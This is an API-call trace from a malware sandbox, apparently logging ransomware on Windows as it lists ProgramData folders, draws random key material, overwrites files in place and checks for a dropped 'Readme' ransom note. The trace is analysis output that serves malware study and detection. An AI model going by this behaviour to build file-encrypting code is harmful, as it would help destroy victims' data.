	[0085.329] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x46a50f8) returned 1
	[0085.329] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47cbb20) returned 1
	[0085.329] NtQueryInformationFile (in: FileHandle=0x15d0, IoStatusBlock=0x23abfc04, FileInformation=0x23abfbdc, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x23abfc04, FileInformation=0x23abfbdc) returned 0x0
	[0085.329] NtSetInformationFile (FileHandle=0x15d0, IoStatusBlock=0x23abfc04, FileInformation=0x23abfbdc, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0085.330] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47c83e0) returned 1
	[0085.330] FlushFileBuffers (hFile=0x15d0) returned 1
	[0085.337] CloseHandle (hObject=0x15d0) returned 1
	[0085.338] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x82) returned 0x476ef68
	[0085.338] wcscpy (in: _Dest=0x476ef68, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\"
	[0085.338] wcscat (in: _Dest=0x476ef68, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\C3F7E-Readme.txt") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\C3F7E-Readme.txt"
	[0085.338] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\C3F7E-Readme.txt" (normalized: "c:\\programdata\\microsoft\\user account pictures\\c3f7e-readme.txt")) returned 0x20
	[0085.338] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476ef68) returned 1
	[0085.338] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753cc8) returned 1

Thread:
	id = 1001
	os_tid = 0x1c14

	[0082.533] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8c) returned 0x4e31d00
	[0082.533] wcscpy (in: _Dest=0x4e31d00, _Source="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204" | out: _Dest="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204") returned="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204"
	[0082.533] wcscat (in: _Dest=0x4e31d00, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\") returned="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\"
	[0082.533] wcscat (in: _Dest=0x4e31d00, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\*") returned="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\*"
	[0082.533] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47a4000
	[0082.533] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\*", lpFindFileData=0x47a4000 | out: lpFindFileData=0x47a4000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x448126f7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc041220b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc041220b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a85d8
	[0082.533] wcscmp (_String1=".", _String2=".") returned 0
	[0082.533] FindNextFileW (in: hFindFile=0x46a85d8, lpFindFileData=0x47a4000 | out: lpFindFileData=0x47a4000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x448126f7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc041220b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc041220b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.533] wcscmp (_String1="..", _String2=".") returned 1
	[0082.533] wcscmp (_String1="..", _String2="..") returned 0
	[0082.533] FindNextFileW (in: hFindFile=0x46a85d8, lpFindFileData=0x47a4000 | out: lpFindFileData=0x47a4000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc041220b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc041220b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc041220b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="154E23D0-C644-4E6F-8CE6-5069272F999F.vsch", cAlternateFileName="154E23~1.VSC")) returned 1
	[0082.533] wcscmp (_String1="154E23D0-C644-4E6F-8CE6-5069272F999F.vsch", _String2=".") returned 1
	[0082.533] wcscmp (_String1="154E23D0-C644-4E6F-8CE6-5069272F999F.vsch", _String2="..") returned 1
	[0082.533] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x4e32ff0
	[0082.533] wcscpy (in: _Dest=0x4e32ff0, _Source="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204" | out: _Dest="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204") returned="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204"
	[0082.533] wcscat (in: _Dest=0x4e32ff0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\") returned="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\"
	[0082.533] wcscat (in: _Dest=0x4e32ff0, _Source="154E23D0-C644-4E6F-8CE6-5069272F999F.vsch" | out: _Dest="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\154E23D0-C644-4E6F-8CE6-5069272F999F.vsch") returned="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\154E23D0-C644-4E6F-8CE6-5069272F999F.vsch"
	[0090.519] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\154E23D0-C644-4E6F-8CE6-5069272F999F.vsch" (normalized: "c:\\programdata\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\154e23d0-c644-4e6f-8ce6-5069272f999f.vsch")) returned 0x20
	[0090.520] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\154E23D0-C644-4E6F-8CE6-5069272F999F.vsch", dwFileAttributes=0x20) returned 1
	[0090.520] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\154E23D0-C644-4E6F-8CE6-5069272F999F.vsch" (normalized: "c:\\programdata\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\154e23d0-c644-4e6f-8ce6-5069272f999f.vsch"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2294
	[0090.520] GetFileSizeEx (in: hFile=0x2294, lpFileSize=0x23b3fcf0 | out: lpFileSize=0x23b3fcf0*=158) returned 1
	[0090.520] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731a60
	[0090.520] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731c40
	[0090.520] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731b78
	[0090.520] NtQuerySystemTime (in: CurrentTime=0x23b3fc50 | out: CurrentTime=0x23b3fc50*=132251868172596343) returned 0x0
	[0090.520] RtlRandom (in: Seed=0x23b3fc5c | out: Seed=0x23b3fc5c) returned 0x3c3f1149
	[0090.520] RtlRandom (in: Seed=0x23b3fc5c | out: Seed=0x23b3fc5c) returned 0xc412cc08
	[0090.520] RtlRandom (in: Seed=0x23b3fc5c | out: Seed=0x23b3fc5c) returned 0xfb8339ac
	[0090.520] RtlRandom (in: Seed=0x23b3fc5c | out: Seed=0x23b3fc5c) returned 0x4d7368b
	[0090.520] RtlRandom (in: Seed=0x23b3fc5c | out: Seed=0x23b3fc5c) returned 0xa68ea21e
	[0090.520] RtlRandom (in: Seed=0x23b3fc5c | out: Seed=0x23b3fc5c) returned 0x3dabfe20
	[0090.520] RtlRandom (in: Seed=0x23b3fc5c | out: Seed=0x23b3fc5c) returned 0xd5e3c874
	[0090.520] RtlRandom (in: Seed=0x23b3fc5c | out: Seed=0x23b3fc5c) returned 0x53aa0de9
	[0090.520] RtlRandom (in: Seed=0x23b3fc5c | out: Seed=0x23b3fc5c) returned 0x3c78e3b0
	[0090.520] RtlRandom (in: Seed=0x23b3fc5c | out: Seed=0x23b3fc5c) returned 0xe786cb9f
	[0090.520] RtlRandom (in: Seed=0x23b3fc5c | out: Seed=0x23b3fc5c) returned 0x461e71c1
	[0090.520] RtlRandom (in: Seed=0x23b3fc5c | out: Seed=0x23b3fc5c) returned 0xcdbcff9f
	[0090.520] RtlRandom (in: Seed=0x23b3fc5c | out: Seed=0x23b3fc5c) returned 0x36af1c0e
	[0090.520] RtlRandom (in: Seed=0x23b3fc5c | out: Seed=0x23b3fc5c) returned 0xdd3601ec
	[0090.520] RtlRandom (in: Seed=0x23b3fc5c | out: Seed=0x23b3fc5c) returned 0x50d5e9d4
	[0090.520] RtlRandom (in: Seed=0x23b3fc5c | out: Seed=0x23b3fc5c) returned 0x779ca270
	[0090.521] RtlRandom (in: Seed=0x23b3fc5c | out: Seed=0x23b3fc5c) returned 0x4ff82514
	[0090.521] RtlRandom (in: Seed=0x23b3fc5c | out: Seed=0x23b3fc5c) returned 0xd1960f4b
	[0090.521] RtlRandom (in: Seed=0x23b3fc5c | out: Seed=0x23b3fc5c) returned 0x5c0cab9f
	[0090.521] RtlRandom (in: Seed=0x23b3fc5c | out: Seed=0x23b3fc5c) returned 0xa5ddab40
	[0090.521] RtlRandom (in: Seed=0x23b3fc5c | out: Seed=0x23b3fc5c) returned 0x23c09c30
	[0090.521] RtlRandom (in: Seed=0x23b3fc5c | out: Seed=0x23b3fc5c) returned 0xbefdda8e
	[0090.521] RtlRandom (in: Seed=0x23b3fc5c | out: Seed=0x23b3fc5c) returned 0xae17764d
	[0090.521] RtlRandom (in: Seed=0x23b3fc5c | out: Seed=0x23b3fc5c) returned 0x313712c1
	[0090.521] RtlRandom (in: Seed=0x23b3fc5c | out: Seed=0x23b3fc5c) returned 0xb34f6c2c
	[0090.521] RtlRandom (in: Seed=0x23b3fc5c | out: Seed=0x23b3fc5c) returned 0x88c3c074
	[0090.521] RtlRandom (in: Seed=0x23b3fc5c | out: Seed=0x23b3fc5c) returned 0x7a7e4362
	[0090.521] RtlRandom (in: Seed=0x23b3fc5c | out: Seed=0x23b3fc5c) returned 0x8c1d1932
	[0090.521] RtlRandom (in: Seed=0x23b3fc5c | out: Seed=0x23b3fc5c) returned 0xd761d673
	[0090.521] RtlRandom (in: Seed=0x23b3fc5c | out: Seed=0x23b3fc5c) returned 0xe4054199
	[0090.521] RtlRandom (in: Seed=0x23b3fc5c | out: Seed=0x23b3fc5c) returned 0x18613858
	[0090.521] RtlRandom (in: Seed=0x23b3fc5c | out: Seed=0x23b3fc5c) returned 0x22bb9b6
	[0090.529] ReadFile (in: hFile=0x2294, lpBuffer=0x50a4888, nNumberOfBytesToRead=0x9e, lpNumberOfBytesRead=0x23b3fc4c, lpOverlapped=0x0 | out: lpBuffer=0x50a4888*, lpNumberOfBytesRead=0x23b3fc4c*=0x9e, lpOverlapped=0x0) returned 1
	[0090.530] SetFilePointerEx (in: hFile=0x2294, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.530] WriteFile (in: hFile=0x2294, lpBuffer=0x50b1090*, nNumberOfBytesToWrite=0x9e, lpNumberOfBytesWritten=0x23b3fc48, lpOverlapped=0x0 | out: lpBuffer=0x50b1090*, lpNumberOfBytesWritten=0x23b3fc48*=0x9e, lpOverlapped=0x0) returned 1
	[0090.531] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731cb8
	[0090.531] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731920
	[0090.531] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731920) returned 1
	[0090.531] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50b1090) returned 1
	[0090.531] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50a4888) returned 1
	[0090.532] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d82dd8) returned 1
	[0090.532] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfab68) returned 1
	[0090.532] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5f) returned 0x4734088
	[0090.532] SetFilePointerEx (in: hFile=0x2294, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.532] WriteFile (hFile=0x2294, lpBuffer=0x2e348c0, nNumberOfBytesToWrite=0x143, lpNumberOfBytesWritten=0x23b3fcb0, lpOverlapped=0x0) 

Thread:
	id = 1002
	os_tid = 0x1c18

	[0082.534] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x62) returned 0x47ed4c0
	[0082.534] wcscpy (in: _Dest=0x47ed4c0, _Source="C:\\ProgramData\\Microsoft\\Windows\\AppRepository" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository"
	[0082.534] wcscat (in: _Dest=0x47ed4c0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\"
	[0082.534] wcscat (in: _Dest=0x47ed4c0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\*"
	[0082.534] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47a44d0
	[0082.534] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\*", lpFindFileData=0x47a44d0 | out: lpFindFileData=0x47a44d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc9faaa23, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0xc9faaa23, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a8658
	[0082.534] wcscmp (_String1=".", _String2=".") returned 0
	[0082.535] FindNextFileW (in: hFindFile=0x46a8658, lpFindFileData=0x47a44d0 | out: lpFindFileData=0x47a44d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc9faaa23, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0xc9faaa23, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.583] wcscmp (_String1="..", _String2=".") returned 1
	[0082.583] wcscmp (_String1="..", _String2="..") returned 0
	[0082.583] FindNextFileW (in: hFindFile=0x46a8658, lpFindFileData=0x47a44d0 | out: lpFindFileData=0x47a44d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91d4f8ee, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x91d4f8ee, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x91d4f8ee, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0xa63, dwReserved0=0x0, dwReserved1=0x0, cFileName="1527c705-839a-4832-9118-54d4Bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy.xml", cAlternateFileName="1527C7~1.XML")) returned 1
	[0082.583] wcscmp (_String1="1527c705-839a-4832-9118-54d4Bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy.xml", _String2=".") returned 1
	[0082.583] wcscmp (_String1="1527c705-839a-4832-9118-54d4Bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy.xml", _String2="..") returned 1
	[0082.583] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10a) returned 0x2d5b2a8
	[0082.583] wcscpy (in: _Dest=0x2d5b2a8, _Source="C:\\ProgramData\\Microsoft\\Windows\\AppRepository" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository"
	[0082.583] wcscat (in: _Dest=0x2d5b2a8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\"
	[0082.584] wcscat (in: _Dest=0x2d5b2a8, _Source="1527c705-839a-4832-9118-54d4Bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\1527c705-839a-4832-9118-54d4Bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy.xml") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\1527c705-839a-4832-9118-54d4Bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy.xml"
	[0090.474] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\1527c705-839a-4832-9118-54d4Bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\1527c705-839a-4832-9118-54d4bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy.xml")) returned 0x20
	[0090.475] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\1527c705-839a-4832-9118-54d4Bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy.xml", dwFileAttributes=0x20) returned 0
	[0090.475] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\1527c705-839a-4832-9118-54d4Bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\1527c705-839a-4832-9118-54d4bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.475] GetLastError () returned 0x5
	[0090.475] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\1527c705-839a-4832-9118-54d4Bd6a0c89_10.0.15063.447_neutral_neutral_cw5n1h2txyewy.xml", dwFileAttributes=0x20) returned 0
	[0090.475] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5b2a8) returned 1
	[0090.475] FindNextFileW (in: hFindFile=0x46a8658, lpFindFileData=0x47a44d0 | out: lpFindFileData=0x47a44d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2176a3b0, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x2176a3b0, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x2189b6d0, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x1f13, dwReserved0=0x0, dwReserved1=0x0, cFileName="9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm.xml", cAlternateFileName="9E2F88~1.XML")) returned 1
	[0090.475] wcscmp (_String1="9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm.xml", _String2=".") returned 1
	[0090.475] wcscmp (_String1="9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm.xml", _String2="..") returned 1
	[0090.475] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x4925838
	[0090.475] wcscpy (in: _Dest=0x4925838, _Source="C:\\ProgramData\\Microsoft\\Windows\\AppRepository" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository"
	[0090.475] wcscat (in: _Dest=0x4925838, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\"
	[0090.475] wcscat (in: _Dest=0x4925838, _Source="9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm.xml") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm.xml"
	[0090.475] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm.xml")) returned 0x20
	[0090.476] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm.xml", dwFileAttributes=0x20) returned 0
	[0090.476] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.476] GetLastError () returned 0x5
	[0090.476] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm.xml", dwFileAttributes=0x20) returned 0
	[0090.476] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4925838) returned 1
	[0090.476] FindNextFileW (in: hFindFile=0x46a8658, lpFindFileData=0x47a44d0 | out: lpFindFileData=0x47a44d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x935998d9, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x935998d9, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x935998d9, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0xbe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml", cAlternateFileName="C5E252~1.XML")) returned 1
	[0090.476] wcscmp (_String1="c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml", _String2=".") returned 1
	[0090.476] wcscmp (_String1="c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml", _String2="..") returned 1
	[0090.476] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x106) returned 0x47175d0
	[0090.476] wcscpy (in: _Dest=0x47175d0, _Source="C:\\ProgramData\\Microsoft\\Windows\\AppRepository" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository"
	[0090.476] wcscat (in: _Dest=0x47175d0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\"
	[0090.476] wcscat (in: _Dest=0x47175d0, _Source="c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml"
	[0090.476] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml")) returned 0x20
	[0090.478] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml", dwFileAttributes=0x20) returned 0
	[0090.478] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.478] GetLastError () returned 0x5
	[0090.478] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml", dwFileAttributes=0x20) returned 0
	[0090.478] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47175d0) returned 1
	[0090.478] FindNextFileW (in: hFindFile=0x46a8658, lpFindFileData=0x47a44d0 | out: lpFindFileData=0x47a44d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9402e007, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x9402e007, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x9402e007, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x1261, dwReserved0=0x0, dwReserved1=0x0, cFileName="CortanaListenUIApp_10.0.15063.0_neutral__cw5n1h2txyewy.xml", cAlternateFileName="CORTAN~1.XML")) returned 1
	[0090.478] wcscmp (_String1="CortanaListenUIApp_10.0.15063.0_neutral__cw5n1h2txyewy.xml", _String2=".") returned 1
	[0090.478] wcscmp (_String1="CortanaListenUIApp_10.0.15063.0_neutral__cw5n1h2txyewy.xml", _String2="..") returned 1
	[0090.478] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd4) returned 0x477eb90
	[0090.478] wcscpy (in: _Dest=0x477eb90, _Source="C:\\ProgramData\\Microsoft\\Windows\\AppRepository" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository"
	[0090.478] wcscat (in: _Dest=0x477eb90, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\") returned="C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\"
